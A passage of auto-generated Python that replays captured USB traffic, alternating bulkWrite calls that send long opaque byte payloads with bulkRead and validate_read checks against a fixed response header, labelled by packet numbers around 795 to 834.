b\"\\x88\\xAF\\x1C\\x05\\x92\\x95\\xA2\\x7E\\x82\\x0D\\x35\\x5C\\x40\\x79\\xDC\\x43\"\n b\"\\xE4\\x4D\\x14\\x2D\\xBE\\xC8\\x85\\xFE\\x17\\x75\\x36\\xED\\xEC\\x3B\\x0E\\xAA\"\n b\"\\x14\\xAD\\x5F\\xE8\\xEC\\x52\\x13\\x81\\x93\\x2F\\xB5\\x8A\\xE5\\xF6\\xF5\\xC8\"\n b\"\\x48\\xB3\\x56\\x46\\xDC\\x46\\x24\\x59\\xC2\\x8A\\xF7\\xCB\")\n # Generated from packet 795/796\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 795/796\")\n # Generated from packet 797/798\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x96\\xBB\\x19\\xC8\\x0C\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\\x05\\xFF\\x18\\xFB\\x7F\\xAA\\x98\"\n b\"\\x52\\x5E\\x1C\\x68\\x8B\\x99\\x0F\\xEF\\xF2\\x37\\xED\\xE3\\x8E\\x3A\\xCC\\x01\"\n b\"\\xD1\\x98\\xC2\\x9A\\x23\\xE5\\xB2\\xF2\\x9D\\xFC\\x57\\x47\\x77\\xA5\\x65\\x2D\"\n b\"\\x91\\x7B\\x94\\x30\\x0E\\x6C\\xA2\\xEF\\x2C\\xBA\\x64\\xCF\\x72\\xAA\\xA4\\xA2\"\n b\"\\xFD\\x9F\\xCC\\x53\\x91\\x9D\\xA5\\x10\\x3A\\x23\\xC8\\x45\\x84\\x43\\x92\\x4A\"\n b\"\\x34\\x2B\\x60\\x6C\\x66\\xEB\\xB4\\x5E\\x35\\x35\\x3D\\x8A\\xBE\\x3B\\x95\\xB5\"\n b\"\\x70\\x6F\\x97\\xD6\\xFB\\x7C\\x1C\\x87\\x19\\x01\\x2E\\xE5\\xF7\\xB1\\xE6\\x0E\"\n b\"\\x21\\x1D\\xE1\\xC2\\xC6\\x68\\xA7\\x87\\xF5\\x92\\x61\\x0E\\xF4\\x5F\\x0A\\xB5\"\n b\"\\xD3\\xDA\\xD6\\x2E\\x91\\xD7\\xEE\\x9B\\x76\\x94\\x9D\\x6C\\x1E\\xB9\\x30\\x0C\"\n b\"\\xE0\\xB5\\x84\\x2A\\x65\\xB4\\x7D\\xEE\\x65\\xA1\\x2D\\xEF\\xF4\\x9E\\xF3\\x80\"\n b\"\\x56\\xA1\\x02\\xA6\\xFB\\x34\\x50\\x2C\\x5B\\xB3\\x5F\\xFC\\x6E\\x1F\\xDA\\xE6\"\n b\"\\xCA\\xB7\\xCE\\xCD\\xCA\\x2D\\x1C\\x6D\\xD5\\x9A\\x5D\\x1F\\xC1\\x63\\x93\\x61\"\n b\"\\x43\\x74\\x0D\\xF8\\xDA\\xE8\\xF9\\xC0\\xC2\\xA3\\x81\\x6D\\x33\\x23\\xB4\\x77\"\n b\"\\x2B\\xC0\\xDE\\xD6\\x25\\xEB\\xCE\\x01\\x94\\x96\\x3F\\x07\\x8D\\x66\\xF2\\x04\"\n b\"\\x2C\\xD6\\xBD\\xE0\\x4B\\x00\\x26\\x8D\\xBB\\xFB\\x0D\\x42\\x9A\\x41\\xE3\\xC0\"\n b\"\\x0A\\x47\\x6D\\xA1\\xA9\\x79\\x72\\x8D\\x1A\\xDA\\x69\\xC6\\x62\\x26\\x7E\\xF4\"\n b\"\\xE4\\xA6\\x51\\xAE\\xCA\\x72\\x67\\x3B\\x27\\xF7\\x99\\x66\")\n # Generated from packet 799/800\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 799/800\")\n # Generated from packet 801/802\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x88\\x7C\\x51\\x1C\\xF4\\x11\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4E\\x7A\\xFE\\x34\\xFC\\xE0\\x45\\x91\"\n b\"\\xFC\\x1B\\xAF\\x05\\xE3\\x95\\xCE\\x48\\xD5\\xC0\\xEB\\xD8\\x69\\x22\\x10\\xA3\"\n b\"\\xA5\\x1D\\x09\\x01\\xC9\\x1D\\x59\\xFA\\x4E\\x2F\\xE4\\xF9\\x49\\x57\\x93\\x0E\"\n b\"\\x7B\\x6F\\x1D\\x27\\xAA\\xD5\\x66\\x83\\x92\\x28\\x8B\\xC8\\xC1\\x9B\\x27\\xFC\"\n b\"\\x96\\xA1\\xDB\\x19\\x62\\x92\\x6E\\x64\\xB6\\xFD\\x1D\\x1A\\x2A\\xDF\\x03\\xFC\"\n b\"\\x9B\\xD0\\xCD\\x4B\\x3B\\x05\\x7F\\x36\\x28\\xF5\\x85\\xAC\\x69\\xCD\\x4F\\x56\"\n b\"\\x40\\x9A\\x4A\\xBE\\xE7\\x8C\\xCD\\x90\\x44\\x6F\\x49\\x2E\\x34\\x77\\x0E\\xD5\"\n b\"\\x12\\x2D\\x86\\x7C\\xE5\\x61\\xE2\\xC8\\x9B\\x1B\\x86\\x81\\xEA\\x23\\xA8\\xFE\"\n b\"\\x65\\x76\\xE2\\x13\\xA2\\xB5\\x8A\\x5F\\x80\\xDE\\x69\\x5E\\x85\\xC4\\x49\\x56\"\n b\"\\x2D\\xBF\\xB9\\xE2\\x96\\x4A\\x87\\x23\\xC8\\x25\\xDC\\x34\\x3D\\x31\\x3B\\x6E\"\n b\"\\x68\\x9D\\x1C\\x98\\xE0\\xFF\\x12\\x97\\x15\\x35\\xA8\\x57\\x57\\x05\\x7D\\xC2\"\n b\"\\xC6\\x4B\\xDB\\xEC\\xF4\\xBD\\x12\\xCA\\x48\\x38\\xBB\\x7B\\x50\\xB1\\xDF\\xF5\"\n b\"\\x60\\x58\\x91\\xB9\\x78\\x57\\x16\\x45\\x15\\x42\\xF3\\xF8\\xFB\\x14\\x60\\x4C\"\n b\"\\xAE\\xD8\\x1A\\x96\\x6E\\x64\\x7C\\x70\\x70\\x00\\xEA\\xCD\\x22\\x1E\\x21\\x84\"\n b\"\\x09\\x1A\\xE7\\xE0\\x87\\x97\\x9D\\x20\\x7F\\xBE\\xE8\\x47\\x7C\\x05\\x96\\x07\"\n b\"\\x2D\\x63\\xC2\\xBE\\x69\\xA4\\xD4\\x23\\x2E\\x9B\\x09\\xC6\\xAB\\xE7\\x7F\\xB0\"\n b\"\\xF3\\x64\\x3E\\xC4\\x5E\\xEB\\xE6\\x93\\xC5\\xA3\\x8F\\x13\")\n # Generated from packet 803/804\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 803/804\")\n # Generated from packet 805/806\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF2\\xD8\\x9A\\x33\\xD5\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA3\\xAC\\x62\\x3F\\x10\\x6E\\xC2\\xE1\"\n b\"\\x4A\\xF5\\xD0\\x04\\x33\\x46\\xC4\\x62\\x72\\x29\\x01\\x63\\xF7\\x3E\\xD0\\xB0\"\n b\"\\x43\\x35\\x1F\\xF2\\xE0\\x10\\x4C\\xA5\\xD5\\xA9\\x00\\x5F\\x64\\xCE\\x78\\x95\"\n b\"\\xD1\\xDF\\x80\\x80\\x46\\x41\\xC4\\x1C\\x42\\xB2\\xDD\\xD3\\x75\\x0A\\x27\\x4C\"\n b\"\\x05\\x1D\\x51\\x49\\xCA\\x4A\\xAD\\x9F\\x94\\x25\\x8D\\xDC\\x60\\xC6\\x79\\x1D\"\n b\"\\x12\\x4A\\x92\\xF0\\xC0\\x56\\xE8\\xF4\\xF3\\x0C\\xEF\\x14\\x28\\xF2\\x9E\\x3B\"\n b\"\\xEC\\x22\\x2A\\xA2\\x7B\\xD7\\xF2\\x1D\\x6C\\xD1\\x36\\xF6\\x7F\\xAD\\xAA\\xBF\"\n b\"\\x8F\\x0E\\xB0\\x84\\x1B\\xA9\\x58\\x6B\\x4B\\xE4\\xBD\\x2B\\x41\\x0D\\x0F\\xD1\"\n b\"\\x2C\\xEE\\x72\\x45\\xBB\\x55\\xCA\\x2E\\x74\\xD2\\xFA\\x56\\x51\\x65\\xD9\\xEF\"\n b\"\\x5E\\x08\\xBD\\x23\\xA2\\xFE\\x31\\x84\\x1D\\x61\\xDB\\x82\\x26\\x86\\x3C\\x6D\"\n b\"\\xC5\\x26\\xE8\\xCB\\x84\\x0D\\xE8\\x70\\xCF\\xF9\\x81\\x0E\\x15\\x10\\x10\\xCE\"\n b\"\\xB0\\x0A\\xCA\\x08\\x32\\xC8\\x89\\x09\\x80\\x38\\xC1\\x06\\xE1\\x9C\\xCE\\x18\"\n b\"\\xD9\\x87\\xC3\\xC9\\xB1\\x92\\xD4\\xB4\\x17\\x9B\\xF6\\x91\\xAF\\xF1\\xA3\\x10\"\n b\"\\x0F\\xC1\\x82\\x6C\\x73\\x27\\x5B\\xDE\\xF7\\xA0\\x4D\\xA2\\x52\\xA6\\xCF\\x1C\"\n b\"\\x51\\x08\\xCB\\x5B\\x43\\xA8\\x5D\\x98\\x94\\x9F\\xA4\\x98\\xE6\\xE7\\x1A\\xB3\"\n b\"\\xFC\\xA6\\x39\\xE3\\x93\\x5C\\x12\\xDA\\xE6\\xEF\\x07\\x6B\\x17\\x28\\x43\\x46\"\n b\"\\x6D\\x6F\\x65\\x86\\x90\\x14\\x02\\x4E\\x1E\\x5E\\xE3\\x00\")\n # Generated from packet 807/808\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 807/808\")\n # Generated from packet 809/810\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\xB1\\x75\\x90\\xD4\\x6A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEE\\x01\\x3B\\x3D\\xBB\\x36\\xA5\\x3C\"\n b\"\\xB7\\x51\\x32\\x91\\x15\\x33\\x62\\x6D\\x8C\\x8B\\x5C\\x64\\xD1\\xDC\\x67\\xAF\"\n b\"\\xD6\\x00\\xF9\\x79\\x67\\x80\\x97\\x58\\xF3\\x9F\\xFC\\x34\\xAA\\xFC\\x76\\xE4\"\n b\"\\x1A\\x9E\\x57\\xF4\\xB8\\x4D\\xDF\\xEF\\x65\\x8F\\xC5\\xBE\\x69\\xDD\\x1A\\x25\"\n b\"\\x28\\x6B\\xA5\\x23\\x63\\x5B\\x06\\xAE\\x2D\\x46\\x3B\\x4B\\x85\\x92\\xAC\\x0A\"\n b\"\\x85\\x53\\x7E\\x93\\x81\\x3A\\xAB\\xE6\\x18\\xA5\\x2D\\xB6\\x80\\xD4\\xD2\\x54\"\n b\"\\x9D\\x2D\\x89\\x50\\x85\\xDD\\xB6\\x34\\x05\\xCE\\x31\\x53\\x2B\\x12\\x34\\xC3\"\n b\"\\xF0\\x99\\x1C\\x0C\\x0A\\x12\\x96\\x2F\\xBF\\xF9\\x36\\x05\\x6A\\x04\\x16\\x1F\"\n b\"\\x5B\\xD3\\x51\\x86\\x5E\\x5B\\x71\\xAB\\x46\\xE6\\x60\\x94\\x6F\\xF7\\xD8\\x63\"\n b\"\\x99\\x68\\x98\\x4D\\xF4\\xD0\\xF2\\xAA\\xFF\\xD3\\x26\\xD8\\x23\\xD9\\xBC\\x58\"\n b\"\\x23\\x18\\x7A\\x2F\\x1E\\x9A\\xD0\\x5F\\x54\\x26\\xB2\\xFB\\xEF\\x04\\x68\\x1E\"\n b\"\\x7A\\x53\\xEE\\xC0\\xCD\\x01\\xFF\\x72\\x58\\x94\\x4E\\xFD\\x8A\\x84\\x3D\\x4D\"\n b\"\\xA8\\xD6\\x86\\x23\\x04\\xA7\\xDE\\x7E\\xD9\\xF0\\xE7\\xA7\\xE3\\x46\\x7B\\x42\"\n b\"\\xC2\\xA4\\xC1\\x9F\\x6D\\x33\\xF0\\x9A\\xEE\\xBA\\xBF\\xDD\\x17\\x00\\xD4\\x88\"\n b\"\\x10\\xE1\\x78\\x17\\xBA\\xD0\\x24\\xFF\\x22\\x08\\xCA\\x93\\x5B\\xA3\\x12\\x9E\"\n b\"\\xFA\\x70\\x9E\\x31\\x87\\x46\\x6E\\x12\\x57\\x89\\xD4\\x06\\xC3\\xA2\\x76\\x23\"\n b\"\\x89\\x5D\\x17\\x09\\x74\\xA4\\x3F\\x39\\x7B\\xC8\\xFB\\xAA\")\n # Generated from packet 811/812\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 811/812\")\n # Generated from packet 813/814\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x38\\xCA\\xDE\\xB3\\x9F\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD2\\x11\\x82\\xAF\\x27\\xE4\\x7F\\x5C\"\n b\"\\xC0\\x7C\\xE0\\xD2\\xA7\\xF3\\xED\\xB7\\xEE\\xAC\\x9C\\xE9\\x1B\\x27\\x7D\\xA9\"\n b\"\\xD0\\xA4\\xBF\\xFD\\x3B\\x27\\xBA\\x98\\xE0\\x0D\\x1F\\x34\\xEE\\x81\\xF4\\xDA\"\n b\"\\xF1\\x10\\xBE\\xF0\\x4C\\xFE\\xA8\\xC7\\xFB\\x65\\xB8\\xFA\\xAF\\x71\\x4D\\xC2\"\n b\"\\x15\\x16\\x99\\xE6\\xC4\\xBA\\x01\\x0C\\x7A\\xBF\\x03\\x4D\\x13\\x6A\\xE7\\x09\"\n b\"\\x70\\x0D\\x18\\x26\\x7F\\xB0\\xAB\\xBF\\x74\\x6D\\x09\\x86\\x26\\xDA\\x62\\x6B\"\n b\"\\x2D\\xCB\\xB8\\x2A\\xE2\\x52\\xBE\\x0F\\xED\\xDD\\xB1\\xB1\\x8E\\x65\\x09\\xFC\"\n b\"\\xD7\\xC9\\x94\\xB1\\x6D\\x1C\\x63\\x06\\xB8\\x19\\x2B\\x3F\\xF8\\x4C\\x5C\\xFE\"\n b\"\\x81\\x58\\x02\\xA0\\x39\\x38\\x9F\\xC2\\x1D\\x7C\\x8F\\xAA\\x9C\\x06\\xB0\\x7D\"\n b\"\\x1D\\x81\\x7C\\x8D\\x27\\xF2\\x4C\\x9C\\x14\\xC4\\xFE\\x8E\\x6C\\x3C\\x89\\xB9\"\n b\"\\x65\\x17\\xB7\\x55\\xCF\\x1D\\x11\\xE5\\xA2\\x2C\\xBE\\xBF\\x2E\\x8E\\x0C\\x37\"\n b\"\\x81\\x81\\x84\\x28\\xAF\\xBE\\x8F\\xAB\\x5C\\x30\\xB2\\x70\\x00\\xDE\\x3C\\xB3\"\n b\"\\xBB\\xB3\\x67\\x99\\x85\\x92\\x54\\x07\\x54\\x18\\xF5\\x16\\x49\\xD4\\xAE\\xC5\"\n b\"\\xE4\\x78\\xD6\\x13\\x02\\x31\\x83\\x4A\\x8A\\xD2\\xC2\\x55\\x7B\\x9A\\x63\\x18\"\n b\"\\x74\\xCC\\x6F\\xF6\\x9D\\xC7\\x88\\x41\\x03\\xEA\\x41\\x6A\\xAF\\x01\\x87\\xA6\"\n b\"\\xDE\\x12\\x2F\\xFF\\xE9\\xC4\\xFC\\xE0\\x5E\\x4F\\xA7\\xDC\\x5C\\x82\\x6A\\xAA\"\n b\"\\x50\\x63\\x8A\\x4F\\xE9\\x38\\x31\\x65\\x7D\\x85\\x2A\\x5C\")\n # Generated from packet 815/816\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 815/816\")\n # Generated from packet 817/818\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3F\\x6D\\xE4\\xC2\\xD4\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x65\\xDF\\xDE\\x3C\\x6F\\x99\\xCB\\x76\"\n b\"\\x1D\\xB4\\x11\\x2A\\x88\\xCD\\xAB\\x3D\\x5D\\xFF\\x7B\\x78\\x18\\xF7\\xCE\\xB1\"\n b\"\\x59\\x74\\x83\\x7F\\x68\\xD5\\x74\\xF1\\x9D\\x43\\x40\\x08\\x2F\\xFC\\x8F\\xA5\"\n b\"\\xCE\\xAC\\xFD\\xFA\\x3C\\xFD\\x6D\\xF5\\x84\\xB0\\xD4\\x5C\\xC0\\x26\\xC5\\xAC\"\n b\"\\xFE\\x06\\x0D\\x2B\\xF4\\xE9\\xD2\\x43\\x2D\\x54\\xDC\\x32\\xEF\\xB2\\xCE\\x25\"\n b\"\\x10\\xC1\\xF5\\xA6\\xE1\\x68\\x22\\xD6\\x4D\\xD2\\xF2\\x38\\x1F\\x18\\x9A\\x00\"\n b\"\\xB2\\x5C\\x3B\\x61\\x0D\\xFE\\x2E\\xC7\\x6A\\x81\\x4F\\x9F\\xEE\\x9D\\x94\\xBB\"\n b\"\\x34\\x92\\xCA\\x99\\xA0\\x32\\xDD\\x22\\xA8\\x0D\\x46\\x82\\xA3\\x15\\x5A\\xDC\"\n b\"\\xC8\\xF4\\xAE\\x7E\\xB3\\x09\\x3D\\x80\\x80\\xAA\\xCB\\x2F\\x71\\xCA\\x97\\xCE\"\n b\"\\x1F\\xD8\\x46\\x57\\xB5\\x34\\x53\\x57\\x9C\\x1D\\x2A\\x62\\xD9\\x57\\xF9\\x57\"\n b\"\\x03\\x64\\x6F\\x69\\xE3\\x6E\\x04\\x3D\\x22\\x0F\\xC4\\x1B\\x42\\xE2\\xDA\\x37\"\n b\"\\x16\\x7E\\x97\\x9F\\xD1\\x4B\\xB1\\x7E\\xA0\\x5D\\x34\\x30\\x4B\\x65\\xCC\\xCD\"\n b\"\\x89\\xB0\\x1C\\xF3\\x90\\x9B\\xA4\\x6A\\x31\\x7E\\xE8\\xAB\\x26\\x11\\xB2\\x46\"\n b\"\\x69\\x55\\xC8\\x0A\\xBD\\xB2\\xBC\\xBE\\x77\\xB8\\xC6\\x81\\x5A\\xDE\\xB7\\x97\"\n b\"\\xDC\\x00\\x78\\x9C\\xCF\\x10\\x9F\\xF4\\x03\\x49\\xD6\\x26\\xEA\\x35\\xA3\\x96\"\n b\"\\x09\\x4E\\xEA\\x62\\x8A\\x46\\x74\\xE5\\xE0\\x56\\x6C\\xCA\\xFC\\x31\\xDB\\x34\"\n b\"\\x1F\\x84\\xBD\\xF6\\x2E\\x9C\\xE1\\xEF\\x9C\\x8A\\x14\\xA6\")\n # Generated from packet 819/820\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 819/820\")\n # Generated from packet 821/822\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\xE3\\x83\\x25\\xA4\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDD\\x19\\xF0\\x26\\x1A\\x36\\xEB\\xC2\"\n b\"\\xBB\\xD9\\x3E\\x19\\xC1\\x66\\xE6\\xC7\\x45\\x1F\\x63\\xE8\\x49\\x3B\\xC3\\x57\"\n b\"\\x06\\x41\\xAB\\x77\\xC7\\x34\\x44\\xC0\\x5A\\xDE\\x4A\\x85\\xEF\\x78\\x0B\\x93\"\n b\"\\x44\\xAD\\x78\\x59\\x73\\x08\\x76\\xB1\\xAE\\x7F\\x16\\x02\\xCC\\xC0\\xD7\\x97\"\n b\"\\xF5\\x5F\\xB4\\x64\\x9A\\xC4\\x08\\x45\\x9E\\xDF\\x5F\\xE7\\x0F\\xFB\\x30\\xF5\"\n b\"\\x97\\x1F\\xD6\\xE2\\xDF\\xAA\\x07\\x2F\\x36\\x0B\\xFF\\x44\\x8C\\xF9\\x55\\xA4\"\n b\"\\xBA\\x9D\\x2D\\x46\\xC7\\x04\\xAF\\x4B\\xD4\\xCA\\x7A\\x6D\\x18\\x14\\xA1\\xC9\"\n b\"\\xBE\\x5E\\x60\\x28\\x26\\xA4\\x3A\\xD1\\x0D\\x1B\\xF7\\x38\\xDA\\x50\\xC0\\x0E\"\n b\"\\xD1\\x89\\x76\\xE0\\x09\\x27\\x1D\\x36\\x1E\\xAC\\x24\\xD2\\xAD\\x1F\\xB7\\xE4\"\n b\"\\xF4\\xB4\\x2C\\x2B\\x0B\\x6D\\x55\\xDE\\x13\\x6A\\x08\\xE0\\x2C\\x35\\xD2\\x0F\"\n b\"\\x4B\\x36\\x69\\x09\\xAC\\x19\\x24\\xF9\\xC4\\x64\\x7D\\x09\\xEE\\xEA\\xF1\\x6E\"\n b\"\\x3C\\x27\\x5A\\x0C\\xC8\\x3D\\x26\\x6E\\x09\\xA9\\x72\\x5D\\xBE\\xEC\\x0C\\x88\"\n b\"\\x68\\x3E\\x63\\x9E\\x93\\xD9\\xE6\\x75\\x8E\\x0E\\x6E\\x93\\x9A\\x0F\\x71\\x9D\"\n b\"\\x29\\x11\\x36\\x52\\x07\\x97\\x12\\xE4\\x16\\x7A\\x13\\xC5\\xF1\\x83\\x6B\\xBC\"\n b\"\\x95\\x99\\xFA\\xB0\\x5F\\x70\\xD7\\x35\\xC4\\x7D\\xF3\\x4B\\x52\\xC7\\x02\\xFF\"\n b\"\\xDF\\xF2\\x60\\x38\\x94\\x5D\\x10\\xFE\\x95\\x90\\xB4\\x5E\\x18\\x14\\x82\\x2D\"\n b\"\\xEB\\x5D\\xB0\\x99\\xE8\\x27\\x23\\x37\\x70\\xBF\\x00\\xF0\")\n # Generated from packet 823/824\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 823/824\")\n # Generated from packet 825/826\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x48\\x5F\\x20\\x7C\\x59\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x3C\\x41\\x27\\xD0\\x56\\x29\\xC8\"\n b\"\\x61\\x33\\x57\\xF9\\x17\\xD2\\xA4\\x40\\xE3\\x1B\\x41\\x74\\xDA\\x91\\x63\\x5A\"\n b\"\\x23\\x6C\\x91\\x20\\xBD\\x0B\\x35\\x6C\\x5D\\xEC\\x2B\\xCA\\x58\\x22\\xA0\\xD0\"\n b\"\\x55\\xDF\\xDB\\xC8\\x15\\x8D\\x21\\x0F\\x58\\x6A\\xA8\\xCA\\xAE\\xB6\\x1E\\xDE\"\n b\"\\xF8\\xB4\\x9F\\xC3\\x2B\\x97\\x75\\xB1\\xEC\\xB6\\x92\\x45\\x08\\xD5\\xAF\\x12\"\n b\"\\x6F\\x09\\xEF\\x3B\\xB9\\x56\\x52\\x54\\x9B\\x07\\xB9\\xD7\\x1D\\x56\\x8B\\xDE\"\n b\"\\x78\\xE8\\x77\\x49\\xF5\\xBC\\x65\\x46\\xF9\\x2E\\xB8\\x23\\xD5\\x34\\xA9\\x1A\"\n b\"\\xFC\\x31\\x50\\x90\\x07\\xD3\\xC6\\x2C\\xC9\\x8B\\x76\\xDF\\x45\\x5B\\x53\\xE6\"\n b\"\\xE7\\x4A\\xD4\\x25\\x52\\x61\\x96\\x78\\xE5\\xF9\\x20\\x06\\x52\\xA3\\x60\\x61\"\n b\"\\xD5\\x85\\xE6\\x93\\x72\\xA4\\xCC\\x1B\\xB9\\x0B\\x58\\xEE\\x25\\x1E\\xF6\\x4B\"\n b\"\\xA2\\x02\\x15\\x2C\\x9B\\x58\\xA1\\x60\\x10\\xA2\\x45\\xE6\\x92\\x54\\x2B\\x6A\"\n b\"\\x99\\x7D\\x13\\xEA\\xE2\\x19\\x8F\\x36\\xDC\\xB8\\x14\\x1F\\xDA\\x30\\x40\\xF5\"\n b\"\\x30\\x43\\x08\\x4E\\x5D\\x5F\\xEF\\x7D\\xFA\\xAE\\x16\\x51\\x0F\\xEA\\xC6\\xD8\"\n b\"\\x0E\\xD2\\x93\\x5B\\x0A\\xF7\\xA4\\x03\\x23\\xBC\\xF4\\xF9\\x6A\\x44\\xE2\\x6D\"\n b\"\\x28\\xF6\\x78\\x31\\x51\\xDE\\xF7\\x14\\xB9\\x24\\xBA\\xCA\\xFB\\x2C\\xD9\\x14\"\n b\"\\x2A\\xBE\\xC6\\xE9\\xA8\\x4F\\x87\\xD6\\x54\\x24\\x9D\\x35\\x51\\xB3\\x9F\\xAE\"\n b\"\\x29\\xAF\\xA1\\xF9\\x5C\\x79\\x5B\\xE3\\x88\\x85\\x81\\x0C\")\n # Generated from packet 827/828\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 827/828\")\n # Generated from packet 829/830\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x55\\x00\\x08\\x04\\x7E\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4D\\xF7\\x56\\x7B\\x76\\x52\\xC5\\x76\"\n b\"\\x25\\xFD\\xAE\\xE6\\xE6\\xC8\\xFC\\xD5\\x95\\x69\\x3E\\xF7\\xE2\\x85\\x6A\\xD4\"\n b\"\\xC7\\xA4\\x64\\xFD\\xE0\\xFF\\x5B\\xDD\\x99\\xC4\\x53\\x7E\\x7E\\xC3\\x4B\\x57\"\n b\"\\xFA\\x5B\\x30\\xD7\\x6F\\x59\\x58\\x44\\x53\\x30\\xF5\\x30\\xA3\\x26\\x0C\\xD2\"\n b\"\\x33\\x0B\\xDB\\x44\\x59\\xD0\\x85\\xB0\\x8D\\xAB\\xF0\\x02\\x63\\xB2\\x26\\xF3\"\n b\"\\x53\\x4C\\x15\\x55\\x48\\xF4\\xC3\\x9C\\xC2\\x3F\\x77\\x33\\xD9\\xBF\\xA2\\x73\"\n b\"\\xE1\\x28\\xDA\\xA8\\x23\\x89\\x05\\x10\\x8F\\xA7\\xAA\\xA1\\xA8\\x83\\x08\\x42\"\n b\"\\xFF\\x4A\\x25\\xAE\\x31\\xD6\\x9D\\xF4\\x56\\x84\\x0D\\x58\\xBF\\xFE\\xBB\\x7B\"\n b\"\\x5E\\x85\\xEA\\x64\\x14\\x92\\x74\\xB7\\xA5\\x7C\\x6E\\x90\\x6A\\xD8\\xBC\\xCC\"\n b\"\\x4A\\x47\\x7C\\xCB\\xAB\\x8E\\xE1\\x7E\\xDD\\x98\\x5C\\x44\\xD6\\x28\\x20\\xDC\"\n b\"\\x59\\x38\\xC8\\xC7\\x4C\\x4A\\x6E\\x23\\x8D\\x30\\xA9\\xD3\\x1D\\xCD\\x33\\xCA\"\n b\"\\xE3\\xA3\\xF8\\x7F\\x80\\x85\\xB9\\x7C\\xDF\\xA4\\xC6\\xE4\\x6D\\x80\\x14\\x76\"\n b\"\\xE7\\xAA\\x5C\\xE6\\x82\\x61\\x01\\x96\\x30\\x99\\xC0\\xB8\\x83\\xDD\\xEE\\x99\"\n b\"\\x19\\x2D\\x69\\x24\\xFC\\x93\\xC3\\xE1\\x38\\xFA\\xD0\\xEE\\xCA\\xB4\\xA3\\x84\"\n b\"\\x21\\x7D\\xCC\\xDF\\x12\\xFD\\x6D\\x57\\x08\\x49\\x2B\\xA9\\x46\\xC8\\x9E\\xA2\"\n b\"\\xC6\\x5C\\x13\\x8A\\xF3\\xF9\\x69\\xE8\\xE0\\x5E\\xFA\\x44\\x32\\x78\\x8D\\x55\"\n b\"\\xF6\\x5D\\x72\\x06\\x86\\xA0\\x24\\x88\\x6D\\x3C\\x43\\x6C\")\n # Generated from packet 831/832\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 831/832\")\n # Generated from packet 833/834\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\x38\\x38\\x7F\\x35\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\xCA\\x85\\x3E\\x3B\\xAB\\x05\\x14\"\n b\"\\x31\\x45\\x91\\x97\\x2A\\x29\\xD7\\xE2\\x20\\x72\\xB9\\x02\\x8E\\x71\\x03\\xFC\"\n b\"\\xB1\\xB4\\x12\\x61\\x2E\\xA5\\xCA\\xA8\\xC1\\xFC\\x89\\x27\\x43\\xEF\\x4F\\x56\"\n b\"\\x78\\xB8\\x30\\x16\\x72\\x99\\x18\\xAB\\xB1\\x71\\x6A\\xAC\\x9A\\x77\\x2F\\xD1\"\n b\"\\x4F\\xFE\\x3F\\xFB\\xEB\\x0F\\xAF\\x8F\\x03\\x9A\\x8F\\x80\\x6D\\x2D\\x61\\x22\"\n b\"\\xD2\\x7B\\x3C\\x87\\xCA\\xC7\\x5E\\x51\\xF6\\x6F\\x8D\\x07\\xD4\\xFF\\xA9\\x8F\"\n b\"\\xC7\\x4C\\xE6\\x12\\x96\\x47\\x2C\\x09\\xA2\\x5E\\x84\\xFC\\xA6\\x05\\x80\\xFD\"\n 